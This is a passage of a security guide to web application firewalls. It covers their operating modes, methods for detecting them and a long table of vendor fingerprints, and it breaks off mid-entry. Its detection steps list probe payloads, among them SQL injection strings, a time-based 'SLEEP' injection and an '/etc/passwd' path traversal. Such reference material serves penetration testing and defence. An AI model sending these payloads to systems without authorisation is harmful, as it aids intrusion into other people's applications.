# Informatique # Everything about web application firewalls (WAFs) from a security perspective. đŸ”„ [![how-wafs-work.png](https://doc.vainsta.fr/uploads/images/gallery/2025-01/scaled-1680-/i0llvHUblSqImeFA-how-wafs-work.png)](https://doc.vainsta.fr/uploads/images/gallery/2025-01/i0llvHUblSqImeFA-how-wafs-work.png 'How wafs work') __A Concise Definition:__ A firewall is a security policy enforcement point positioned between a web application and the client endpoint. This functionality can be implemented in software or hardware, running in an appliance device, or in a typical server running a common operating system. It may be a stand-alone device or integrated into other network components. *(Source: [PCI DSS IS 6.6](https://www.pcisecuritystandards.org/documents/information_supplement_6.6.pdf))* A web-application firewall sits between a user and a webapp and is tasked to prevent any malicious activity from reaching the webapp. A WAF either filters out the malicious part of the request or just simply blocks it. Feel free to [contribute](CONTRIBUTING.md). ### Contents: - [Introduction](#introduction) - [How WAFs Work](#how-wafs-work) - [Operation Modes](#operation-modes) - [Testing Methodology](#testing-methodology) - [Where To Look](#where-to-look) - [Detection Techniques](#detection-techniques) - [WAF Fingerprints](#waf-fingerprints) - [Evasion Techniques](#evasion-techniques) - [Fuzzing/Bruteforcing](#fuzzingbruteforcing) - [Regex Reversing](#regex-reversing) - [Obfuscation/Encoding](#obfuscation) - [Browser Bugs](#browser-bugs) - [HTTP Header Spoofing](#request-header-spoofing) - [Google Dorks Approach](#google-dorks-approach) - [Known Bypasses](#known-bypasses) - [Awesome Tooling](#awesome-tools) - [Fingerprinting](#fingerprinting) - [Testing](#testing) - [Evasion](#evasion) - [Blogs & Writeups](#blogs-and-writeups) - [Video Presentations](#video-presentations) - [Research Presentations & Papers](#presentations--research-papers) - [Research Papers](#research-papers) - [Presentation Slides](#presentations) - [Licensing & Credits](#credits--license) ## Introduction: ### How WAFs Work: - Using a set of rules to distinguish between normal requests and malicious requests. - Sometimes they use a learning mode to add rules automatically through learning about user behaviour. ### Operation Modes: - __Negative Model (Blacklist based)__ - A blacklisting model uses pre-set signatures to block requests that are clearly malicious. The signatures of WAFs operating in a negative model are specifically crafted to prevent attacks which exploit certain web application vulnerabilities. Blacklisting model web application firewalls are a great choice for web applications exposed to the public internet and are highly effective against major vulnerabilities. Eg. Rule for blocking all `` inputs prevent basic cross-site scripting attacks. - __Positive Model (Whitelist based)__ - A whitelisting model only allows web traffic according to specifically configured criteria. For example, it can be configured to only allow HTTP GET requests from certain IP addresses. This model can be very effective for blocking potential large scale attacks, but will also block a lot of legitimate traffic. Whitelisting model firewalls are probably best for web applications on an internal network that are designed to be used by only a limited group of people, such as employees. - __Mixed/Hybrid Model (Inclusive model)__ - A hybrid security model blends both whitelisting and blacklisting. Depending on all sorts of configuration specifics, hybrid firewalls could be the best choice for both web applications on internal networks and web applications on the public internet. A good scenario can be when web-application is facing the public internet (use blacklists) while the admin panel needs to be exposed to only a subset of users (use whitelists). ## Testing Methodology: ### Where To Look: - Always look out for common ports that expose that a WAF, namely `80`, `443`, `8000`, `8080` and `8888` ports. However, its important to note that a WAF can be easily deployed on any port running a HTTP service. It is good to enumerate HTTP service ports first hand and then look for WAFs. - Some WAFs set their own cookies in requests (e.g. Citrix Netscaler, Yunsuo WAF). - Some associate themselves with separate headers (e.g. Anquanbao WAF, Amazon AWS WAF). - Some often alter headers and jumble characters to confuse attacker (e.g. Netscaler, Big-IP). - Some expose themselves in the `Server` header (e.g. Approach, WTS WAF). - Some WAFs expose themselves in the response content (e.g. DotDefender, Armor, Sitelock). - Other WAFs reply with unusual response codes upon malicious requests (e.g. WebKnight, 360 WAF). ### Detection Techniques: To identify WAFs, we need to (dummy) provoke it. 1. Make a normal GET request from a browser, intercept and record response headers (specifically cookies). 2. Make a request from command line (eg. cURL), and test response content and headers (no user-agent included). 3. Make GET requests to random open ports and grab banners which might expose the WAFs identity. 4. On login pages, inject common (easily detectable) payloads like `" or 1 = 1 --`. 5. Inject noisy payloads like `` into search bars, contact forms and other input fields. 6. Attach a dummy `../../../etc/passwd` to a random parameter at end of URL. 7. Append some catchy keywords like `' OR SLEEP(5) OR '` at end of URLs to any random parameter. 8. Make GET requests with outdated protocols like `HTTP/0.9` (`HTTP/0.9` does not support POST type queries). 9. Many a times, the WAF varies the `Server` header upon different types of interactions. 10. Drop Action Technique - Send a raw crafted FIN/RST packet to server and identify response. > __Tip:__ This method could be easily achieved with tools like [HPing3](http://www.hping.org) or [Scapy](https://scapy.net). 11. Side Channel Attacks - Examine the timing behaviour of the request and response content. > __Tip:__ More details can be found in a [blogpost here](https://0xinfection.github.io/posts/fingerprinting-wafs-side-channel/). ## WAF Fingerprints Wanna fingerprint WAFs? Lets see how. > __NOTE__: This section contains manual WAF detection techniques. You might want to switch over to [next section](#evasion-techniques).
WAF Fingerprints
360
  • Detectability: Easy
  • Detection Methodology:
    • Returns status code 493 upon unusual requests.
    • Blockpage may contain reference to wzws-waf-cgi/ directory.
    • Blocked response page source may contain:
      • Reference to wangshan.360.cn URL.
      • Sorry! Your access has been intercepted because your links may threaten website security. text snippet.
    • Response headers may contain X-Powered-By-360WZB header.
    • Blocked response headers contain unique header WZWS-Ray.
    • Server header may contain value qianxin-waf.
aeSecure
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response content contains aesecure_denied.png image (view source to see).
    • Response headers contain aeSecure-code value.
Airlock
  • Detectability: Moderate/Difficult
  • Detection Methodology:
    • Set-Cookie headers may contain:
      • AL-SESS cookie field name (case insensitive).
      • AL-LB value (case insensitive).
    • Blocked response page contains:
      • Server detected a syntax error in your request text.
      • Check your request and all parameters text snippet.
AlertLogic
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains:
      • We are sorry, but the page you are looking for cannot be found text snippet.
      • The page has either been removed, renamed or temporarily unavailable text.
      • 404 Not Found in red letters.
Aliyundun
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains:
      • Sorry, your request has been blocked as it may cause potential threats to the server's security text snippet.
      • Reference to errors.aliyun.com site URL.
    • Blocked response code returned is 405.
Anquanbao
  • Detectability: Easy
  • Detection Methodology:
    • Returns blocked HTTP response code 405 upon malicious requests.
    • Blocked response content may contain /aqb_cc/error/ or hidden_intercept_time.
    • Response headers contain X-Powered-by-Anquanbao header field.
Anyu
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response content contains Sorry! your access has been intercepted by AnYu
    • Blocked response page contains AnYu- the green channel text.
    • Response headers may contain unusual header WZWS-RAY.
Approach
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page content may contain:
      • Approach Web Application Firewall Framework heading.
      • Your IP address has been logged and this information could be used by authorities to track you. warning.
      • Sorry for the inconvenience! keyword.
      • Approach infrastructure team text snippet.
    • Server header has field value set to Approach.
Armor Defense
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response content contains:
      • This request has been blocked by website protection from Armor text.
      • If you manage this domain please create an Armor support ticket snippet.
ArvanCloud
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains ArvanCloud keyword.
ASPA
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains ASPA-WAF keyword.
    • Response contain unique header ASPA-Cache-Status with content HIT or MISS.
ASP.NET Generic
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers may contain X-ASPNET-Version header value.
    • Blocked response page content may contain:
      • This generic 403 error means that the authenticated user is not authorized to use the requested resource.
      • Error Code 0x00000000< keyword.
    • X-Powered-By header has field value set to ASP.NET.
Astra
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page content may contain:
      • Sorry, this is not allowed. in h1.
      • our website protection system has detected an issue with your IP address and wont let you proceed any further text snippet.
      • Reference to www.getastra.com/assets/images/ URL.
    • Response cookies has field value cz_astra_csrf_cookie in response headers.
AWS ELB
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers might contain:
      • AWSALB cookie field value.
      • X-AMZ-ID header.
      • X-AMZ-REQUEST-ID header.
    • Response page may contain:
      • Access Denied in their keyword.
      • Request token ID with length from 20 to 25 between RequestId tag.
    • Server header field contains awselb/2.0 value.
Baidu Yunjiasu
  • Detectability: Moderate
  • Detection Methodology:
    • Server header may contain Yunjiasu-nginx value.
    • Server header may contain Yunjiasu value.
Barikode
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page content contains:
      • BARIKODE keyword.
      • Forbidden Access text snippet in h1.
Barracuda
  • Detectability: Moderate
  • Detection Methodology:
    • Response cookies may contain barra_counter_session value.
    • Response headers may contain barracuda_ keyword.
  • Response page contains:
    • You have been blocked heading.
    • You are unable to access this website text.
Bekchy
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response headers contains Bekchy - Access Denied.
    • Blocked response page contains reference to https://bekchy.com/report.
BinarySec
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers contain:
      • X-BinarySec-Via field.
      • X-BinarySec-NoCache field.
      • Server header contains BinarySec keyword.
BitNinja
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page may contain:
      • Security check by BitNinja text snippet.
      • your IP will be removed from BitNinja.
      • Visitor anti-robot validation text snippet.
      • (You will be challenged by a reCAPTCHA page) text.
BIG-IP ASM
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers may contain BigIP or F5 keyword value.
    • Response header fields may contain X-WA-Info header.
    • Response headers might have jumbled X-Cnection field value.
BlockDos
  • Detectability: Moderate
  • Detection Methodology:
    • Server header contains value BlockDos.net.
Bluedon IST
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains BDWAF field value.
    • Blocked response page contains to Bluedon Web Application Firewall text snippet..
BulletProof Security Pro
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response page contains:
      • div with id as bpsMessage text snippet.
      • If you arrived here due to a search or clicking on a link click your Browser's back button to return to the previous page. text snippet.
CDN NS Application Gateway
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains CdnNsWAF Application Gateway text snippet.
Cerber (WordPress)
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains:
      • We're sorry, you are not allowed to proceed text snippet.
      • Your request looks suspicious or similar to automated requests from spam posting software warning.
Chaitin Safeline
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains event_id keyword within HTML comments.
ChinaCache
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain Powered-by-ChinaCache field.
Cisco ACE XML Gateway
  • Detectability: Moderate
  • Detection Methodology:
    • Server header has value ACE XML Gateway set.
Cloudbric
  • Detectability: Moderate
  • Detection Methodology:
    • Response content contains:
      • Malicious Code Detected heading.
      • Your request was blocked by Cloudbric text snippet.
      • Reference to https://cloudbric.zendesk.com URL.
      • Cloudbric Help Center text.
      • Page title starting with Cloudbric | ERROR!.
Cloudflare
  • Detectability: Easy
  • Detection Methodology:
    • Response headers might have cf-ray field value.
    • Server header field has value cloudflare.
    • Set-Cookie response headers have __cfuid= cookie field.
    • Page content might have Attention Required! or Cloudflare Ray ID:.
    • Page content may contain DDoS protection by Cloudflareas text.
    • You may encounter CLOUDFLARE_ERROR_500S_BOX upon hitting invalid URLs.
CloudfloorDNS
  • Detectability: Easy
  • Detection Methodology:
    • Server header field has value CloudfloorDNS WAF.
    • Block-page title might have CloudfloorDNS - Web Application Firewall Error.
    • Page content may contain www.cloudfloordns.com/contact URL as a contact link.
Cloudfront
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response content contains Generated by cloudfront (CloudFront) error upon malicious request.
Comodo cWatch
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains Protected by COMODO WAF value.
CrawlProtect
  • Detectability: Easy
  • Detection Methodology:
    • Response cookies might contain crawlprotect cookie name.
    • Block Page title has CrawlProtect keyword in it.
    • Blocked response content contains value
      This site is protected by CrawlProtect !!! upon malicious request.
Deny-All
  • Detectability: Difficult
  • Detection Methodology:
    • Response content contains value Condition Intercepted.
    • Set-Cookie header contains cookie field sessioncookie.
Distil Web Protection
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain field value X-Distil-CS in all requests.
    • Blocked response page contains:
      • Pardon Our Interruption... heading.
      • You have disabled javascript in your browser. text snippet.
      • Something about your browser made us think that you are a bot. text.
DoSArrest Internet Security
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain field value X-DIS-Request-ID.
    • Server header contains DOSarrest keyword.
DotDefender
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response content contains value
      dotDefender Blocked Your Request.
    • Blocked response headers contain X-dotDefender-denied field value.
DynamicWeb Injection Check
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response headers contain X-403-Status-By field with value dw-inj-check value.
e3Learning Security
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains e3Learning_WAF keyword.
EdgeCast (Verizon)
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response content contains value
      Please contact the site administrator, and provide the following Reference ID:EdgeCast Web Application Firewall (Verizon).
    • Blocked response code returns 400 Bad Request on malicious requests.
Eisoo Cloud
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page content may contain:
      • /eisoo-firewall-block.css reference.
      • www.eisoo.com URL.
      • © (year) Eisoo Inc. keyword.
    • Server header has field value set to EisooWAF-AZURE/EisooWAF.
Expression Engine
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page returns Invalid URI generally.
    • Blocked response content contains value Invalid GET Request upon malicious GET queries.
    • Blocked POST type queries contain Invalid Data in response content.
F5 ASM
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response content contains warning
      The requested URL was rejected. Please consult with your administrator.
FortiWeb
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers contain FORTIWAFSID= on malicious requests.
    • Blocked response page contains:
      • Reference to .fgd_icon image icon.
      • Server Unavailable! as heading.
      • Server unavailable. Please visit later. as text.
GoDaddy
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains value
      Access Denied - GoDaddy Website Firewall.
GreyWizard
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains:
      • Grey Wizard as title.
      • Contact the website owner or Grey Wizard text snippet.
      • We've detected attempted attack or non standard traffic from your IP address text snippet.
    • Server header contain greywizard keyword.
Huawei Cloud
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains:
      • Reference to account.hwclouds.com/static/error/images/404img.jpg error image.
      • Reference to www.hwclouds.com URL.
      • Reference to hws_security@{site.tld} e-mail for reporting.
HyperGuard
  • Detectability: Difficult
  • Detection Methodology:
    • Set-Cookie header has cookie field ODSESSION= in response headers.
IBM DataPower
  • Detectability: Difficult
  • Detection Methodology:
    • Response headers contains field value value X-Backside-Transport with value OK or FAIL.
Imperva Incapsula
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page content may contain:
      • Powered By Incapsula text snippet.
      • Incapsula incident ID keyword.
      • _Incapsula_Resource keyword.
      • subject=WAF Block Page keyword.
    • Normal GET request headers contain visid_incap value.
    • Response headers may contain X-Iinfo header field name.
    • Set-Cookie header has cookie field incap_ses and visid_incap.
Imunify360
  • Detectability: Easy
  • Detection Methodology:
    • Server header contain imunify360-webshield keyword.
    • Response page contains:
      • Powered by Imunify360 text snippet.
      • imunify360 preloader if response type is JSON.
    • Blocked response page contains protected by Imunify360 text.
IndusGuard
  • Detectability: Moderate
  • Detection Methodology:
    • Server header contains value IF_WAF.
    • Blocked response content contains warning
      further investigation and remediation with a screenshot of this page.
    • Response headers contain a unique header X-Version.
Instart DX
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain X-Instart-Request-ID unique header.
    • Response headers contain X-Instart-WL unique header fingerprint.
    • Response headers contain X-Instart-Cache unique header fingerprint.
    • Blocked response page contains The requested URL was rejected. Please consult with your administrator. text.
ISA Server
  • Detectability: Difficult
  • Detection Methodology:
    • Response page contains:
      • The ISA Server denied the specified Uniform Resource Locator (URL) text snippet.
      • The server denied the specified Uniform Resource Locator (URL). Contact the server administrator. text snippet
Janusec Application Gateway
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page has image displaying JANUSEC name and logo.
    • Blocked response page displays Janusec Application Gateway on malicious requests.
Jiasule
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains reference to static.jiasule.com/static/js/http_error.js URL.
    • Set-Cookie header has cookie field __jsluid= or jsl_trackingin response headers.
    • Server header has jiasule-WAF keywords.
    • Blocked response content has notice-jiasule keyword.
KeyCDN
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains KeyCDN keyword.
KnownSec
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page displays ks-waf-error.png image (view source to see).
KONA Site Defender (Akamai)
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains AkamaiGHost keyword.
LiteSpeed
  • Detectability: Easy
  • Detection Methodology:
    • Server header has value set to LiteSpeed.
    • Response page contains:
      • Proudly powered by LiteSpeed Web Server text.
      • Reference to http://www.litespeedtech.com/error-page
      • Access to resource on this server is denied.
Malcare
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response page may contains:
      • Blocked because of Malicious Activities text snippet.
      • Firewall powered by MalCare text snippet.
MissionControl Application Shield
  • Detectability: Easy
  • Detection Methodology:
    • Server header field contains Mission Control Application Shield value.
ModSecurity
  • Detectability: Moderate/Difficult
  • Detection Methodology:
    • Blocked response page contains:
      • This error was generated by Mod_Security text snippet.
      • One or more things in your request were suspicious text snippet.
      • rules of the mod_security module text snippet.
      • mod_security rules triggered text snippet.
      • Reference to /modsecurity-errorpage/ directory.
    • Server header may contain Mod_Security or NYOB keywords.
    • Sometimes, the response code to an attack is 403 while the response phrase is ModSecurity Action.
ModSecurity CRS
  • Detectability: Difficult
  • Detection Methodology:
    • Blockpage occurs on adding a separate request header X-Scanner when set to a particular paranoa level.
NAXSI
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains This Request Has Been Blocked By NAXSI.
    • Response headers contain unusual field X-Data-Origin with value naxsi/waf keyword.
    • Server header contains naxsi/waf keyword value.
    • Blocked response page may contain NAXSI blocked information error code.
Nemesida
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains Suspicious activity detected. Access to the site is blocked..
    • Contains reference to email nwaf@{site.tld}
Netcontinuum
  • Detectability: Moderate
  • Detection Methodology:
    • Session cookies contain NCI__SessionId= cookie field name.
NetScaler AppFirewall
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers may contain
      • Connection: header field name jumbled to nnCoection:
      • ns_af= cookie field name.
      • citrix_ns_id field name.
      • NSC_ keyword.
      • NS-CACHE field value.
NevisProxy
  • Detectability: Moderate
  • Detection Methodology:
    • Response header cookies contain Navajo keyword.
NewDefend
  • Detectability: Easy
  • Detection Methodology:
    • Response page contains:
      • Reference to http://www.newdefend.com/feedback/misinformation/ URL.
      • Reference to /nd_block/ directory.
    • Server header contains NewDefend keyword.
Nexusguard
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page has reference to speresources.nexusguard.com/wafpage/index.html URL.
NinjaFirewall
  • Detectability: Moderate
  • Detection Methodology:
    • Response page title contains NinjaFirewall: 403 Forbidden.
    • Response page contains:
      • For security reasons, it was blocked and logged text snippet.
      • NinjaFirewall keyword in title.
    • Returns a 403 Forbidden response upon malicious requests.
NSFocus
  • Detectability: Easy
  • Detection Methodology:
    • Server header contain NSFocus keyword.
NullDDoS
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains the NullDDoS System keyword.
onMessage Shield
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain header X-Engine field with value onMessage Shield.
    • Blocked response page contains:
      • Blackbaud K-12 conducts routine maintenance keyword.
      • This site is protected by an enhanced security system.
      • Reference to https://status.blackbaud.com URL.
      • Reference to https://maintenance.blackbaud.com URL.
OpenResty Lua WAF
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains openresty/{version} keyword.
    • Blocked response page contains openresty/{version} text.
    • Blocked response code returned is 406 Not Acceptable.
Palo Alto
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response page contains Virus/Spyware Download Blocked.
    • Response page might contain Palo Alto Next Generation Security Platform text snippet.
PentaWAF
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains PentaWAF/{version} keyword.
    • Blocked response page contains text PentaWAF/{version}.
PerimeterX
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains reference to
      https://www.perimeterx.com/whywasiblocked URL.
pkSecurityModule IDS
  • Detectability: Moderate
  • Detection Methodology:
    • Response content may contain
      • pkSecurityModule: Security.Alert.
      • A safety critical request was discovered and blocked text snippet.
Positive Technologies Application Firewall
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains Forbidden in h1 followed by:
    • Request ID: in format yyyy-mm-dd-hh-mm-ss-{ref. code}
PowerCDN
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers may contain
      • Via header with content powercdn.com.
      • X-Cache header with content powercdn.com.
      • X-CDN header with content PowerCDN.
Profense
  • Detectability: Easy
  • Detection Methodology:
    • Set-Cookie headers contain PLBSID= cookie field name.
    • Server header contain Profense keyword.
Proventia (IBM)
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page might contain to request does not match Proventia rules text snippet.
Puhui
  • Detectability: Easy
  • Detection Methodology:
    • Server header contain PuhuiWAF keyword.
Qiniu CDN
  • Detectability: Easy
  • Detection Methodology:
    • Response content may contain
      • Response headers contain unusual header X-Qiniu-CDN with value set to either 0 or 1.
Radware Appwall
  • Detectability: Moderate
  • Detection Methodology:
    • Response page contains the following text snippet:
      Unauthorized Activity Has Been Detected. and Case Number
    • Blocked response page has reference to radwarealerting@{site.tld} email.
    • Blocked response page has title set to Unauthorized Request Blocked.
    • Response headers may contain X-SL-CompState header field name.
Reblaze
  • Detectability: Moderate
  • Detection Methodology:
    • Cookies in response headers contain rbzid= header field name.
    • Server field value might contain Reblaze Secure Web Gateway text snippet.
    • Response page contains:
      • Access Denied (403) in bold.
      • Current session has been terminated text.
      • For further information, do not hesitate to contact us.
Request Validation Mode
  • Detectability: Easy
  • Detection Methodology:
    • A firewall found specifically on ASP.NET websites and none others.
    • Response page contains either of the following text snippet:
      • ASP.NET has detected data in the request that is potentially dangerous.
      • Request Validation has detected a potentially dangerous client input value.
      • HttpRequestValidationException.
    • Blocked response code returned is always 500 Internal Error.
RSFirewall
  • Detectability: Easy
  • Detection Methodology:
    • Response page contains:
      • COM_RSFIREWALL_403_FORBIDDEN keyword.
      • COM_RSFIREWALL_EVENT keyword.
Sabre
  • Detectability: Easy
  • Detection Methodology:
    • Returns status code 500 Internal Error upon malicious requests.
    • Response content has:
      • Contact email dxsupport@sabre.com.
      • Your request has been blocked bold warning.
      • clicking the above email link will automatically add some important details to the email for us to investigate the problem text snippet.
Safe3
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain:
      • X-Powered-By header has field value Safe3WAF.
      • Server header contains field value set to Safe3 Web Firewall.
    • Response page contains Safe3waf keyword.
SafeDog
  • Detectability: Easy/Moderate
  • Detection Methodology:
    • Server header in response may contain:
      • WAF/2.0 keyword.
      • safedog field value.
SecKing
  • Detectability: Easy/Moderate
  • Detection Methodology:
    • Server header in response may contain:
      • SECKINGWAF keyword.
      • SECKING/{version} field value.
SecuPress
  • Detectability: Easy
  • Detection Methodology:
    • Response content may contain:
      • SecuPress as text.
      • Block ID: Bad URL Contents as text.
    • Response code returned is 503 Service Unavailable.
Secure Entry
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains value set to Secure Entry Server.
SecureIIS
  • Detectability: Easy
  • Detection Methodology:
    • Response page contains either of the following text snippet:
      • Image displaying beyondtrust logo.
      • Download SecureIIS Personal Edition
      • Reference to http://www.eeye.com/SecureIIS/ URL.
      • SecureIIS Error text snippet.
SecureSphere
  • Detectability: Difficult
  • Detection Methodology:
    • Response page contains the following text snippet:
      • Error in h2 text.
      • Title contains only text as Error.
      • Contact support for additional information. text.
SEnginx
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains SENGINX-ROBOT-MITIGATION keyword.
ServerDefender VP
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response contains X-Pint header field with p80 keyword.
Shadow Daemon
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains request forbidden by administrative rules. keyword.
ShieldSecurity
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains:
      • You were blocked by the Shield. text.
      • Something in the URL, Form or Cookie data wasn't appropriate text snippet.
      • Warning: You have {number} remaining transgression(s) against this site.
      • Seriously stop repeating what you are doing or you will be locked out.
SiteGround
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response page contains
      The page you are trying to access is restricted due to a security rule text snippet.
SiteGuard (JP Secure)
  • Detectability: Difficult
  • Detection Methodology:
    • Response page contains:
      • Powered by SiteGuard text snippet.
      • The server refuse to browse the page. text snippet.
      • The URL may not be correct. Please confirm the value.
SiteLock TrueShield
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page source contains the following:
      • Reference to www.sitelock.com URL.
      • Sitelock is leader in Business Website Security Services. text.
      • sitelock-site-verification keyword.
      • sitelock_shield_logo image.
SonicWall
  • Detectability: Easy
  • Detection Methodology:
    • Server header contain SonicWALL keyword value.
    • Blocked response page contains either of the following text snippet:
      • Image displaying Dell logo.
      • This request is blocked by the SonicWALL.
      • Web Site Blocked text snippet.
      • nsa_banner as keyword. :p
Sophos UTM
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page contains Powered by UTM Web Protection keyword.
SquareSpace
  • Detectability: Difficult
  • Detection Methodology:
    • Response code returned is 404 Not Found upon malicious requests.
    • Blocked response page contains either of the following text snippet:
      • BRICK-50 keyword.
      • 404 Not Found text snippet.
SquidProxy IDS
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains field value squid/{version}.
    • Blocked response page contains
      Access control configuration prevents your request from being allowed at this time..
StackPath
  • Detectability: Easy
  • Detection Methodology:
    • Contains image displaying StackPath logo.
    • Blocked response page contains
      You performed an action that triggered the service and blocked your request.
Stingray
  • Detectability: Difficult
  • Detection Methodology:
    • Blocked response code returns 403 Forbidden or 500 Internal Error.
    • Response headers contain the X-Mapping header field name.
Sucuri CloudProxy
  • Detectability: Easy
  • Detection Methodology:
    • Response headers may contain Sucuri or Cloudproxy keywords.
    • Blocked response page contains the following text snippet:
      • Access Denied - Sucuri Website Firewall text.
      • Reference to https://sucuri.net/privacy-policy URL.
      • Sometimes the email cloudproxy@sucuri.net.
      • Contains copyright notice ;copy {year} Sucuri Inc.
    • Response headers contains X-Sucuri-ID header along with normal requests.
Synology Cloud
  • Detectability: Easy
  • Detection Methodology:
    • Blocked response page has Copyright (c) 2019 Synology Inc. All rights reserved.as text.
Tencent Cloud
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response code returns 405 Method Not Allowed error.
    • Blocked response page contains reference to waf.tencent-cloud.com URL.
Teros
  • Detectability: Difficult
  • Detection Methodology:
    • Response headers contain cookie field st8id.
TrafficShield
  • Detectability: Moderate
  • Detection Methodology:
    • Server might contain F5-TrafficShield keyword.
    • ASINFO= value might be detected in response cookies.
TransIP
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain unique header X-TransIP-Backend.
    • Response headers contain another header X-TransIP-Balancer.
UCloud UEWaf
  • Detectability: Easy
  • Detection Methodology:
    • Response content might contain:
      • Reference to /uewaf_deny_pages/default/img/ inurl directory.
      • ucloud.cn URL.
    • Response headers returned has Server header set to uewaf/{version}.
URLMaster SecurityCheck
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers might contain:
      • UrlMaster keyword.
      • UrlRewriteModule keyword.
      • SecurityCheck keyword.
    • Blocked response code returned is 400 Bad Request text snippet.
URLScan
  • Detectability: Moderate
  • Detection Methodology:
    • Blocked response page contains:
      • Rejected-by-URLScan text snippet.
      • Server Erro in Application as heading.
      • Module: IIS Web Core in table.
USP Secure Entry
  • Detectability: Moderate
  • Detection Methodology:
    • Response headers contain Secure Entry Server field value.
Varnish (OWASP)
  • Detectability: Easy
  • Detection Methodology:
    • Malicious request returns 404 Not Found Error.
    • Response page contains:
      • Request rejected by xVarnish-WAF text snippet.
Varnish CacheWall
  • Detectability: Easy
  • Detection Methodology:
    • Response page contains:
      • Error 403 Naughty, not Nice! as heading.
      • Varnish cache Server as text.
Viettel
  • Detectability: Easy
  • Detection Methodology:
    • Response page contains:
      • Block page has title set to Access denied · Viettel WAF.
      • Reference to https://cloudrity.com.vn/ URL.
      • Response page contains keywords Viettel WAF system.
      • Contact information reference to https://cloudrity.com.vn/customer/#/contact URL.
VirusDie
  • Detectability: Easy
  • Detection Methodology:
    • Response page contains:
      • http://cdn.virusdie.ru/splash/firewallstop.png picture.
      • copy; Virusdie.ru

         copyright notice.
      • Response page title contains Virusdie keyword.
      • Page metadata contains name="FW_BLOCK" keyword
WallArm
  • Detectability: Moderate
  • Detection Methodology:
    • Server headers contain nginx-wallarm value.
WatchGuard IPS
  • Detectability: Easy
  • Detection Methodology:
    • Server headers may contain WatchGuard field value.
    • Blocked response page contains:
      • Request denied by WatchGuard Firewall text.
      • WatchGuard Technologies Inc. as footer.
WebARX Security
  • Detectability: Easy
  • Detection Methodology:
    • Restricted to specifically WordPress sites only.
    • Blocked response page contains:
      • This request has been blocked by WebARX Web Application Firewall text.
      • Reference to /wp-content/plugins/webarx/ directory where it is installed.
WebKnight
  • Detectability: Easy
  • Detection Methodology:
    • Response headers contain WebKnight keyword.
    • Blocked response page contains:
      • WebKnight Application Firewall Alert text warning.
      • AQTRONIX WebKnight text snippet.
    • Blocked response code returned is 999 No Hacking. :p
    • Blocked response code returned is also 404 Hack Not Found. :p
WebLand
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains Apache Protected By WebLand WAF keyword.
WebRay
  • Detectability: Easy
  • Detection Methodology:
    • Server header contains WebRay-WAF keyword.
    • Response headers may have DrivedBy field with value RaySrv RayEng/{version}.
WebSEAL
  • Detectability: Easy
  • Detection Methodology:
    • Server header contain WebSEAL keyword.
    • Blocked response page contains:
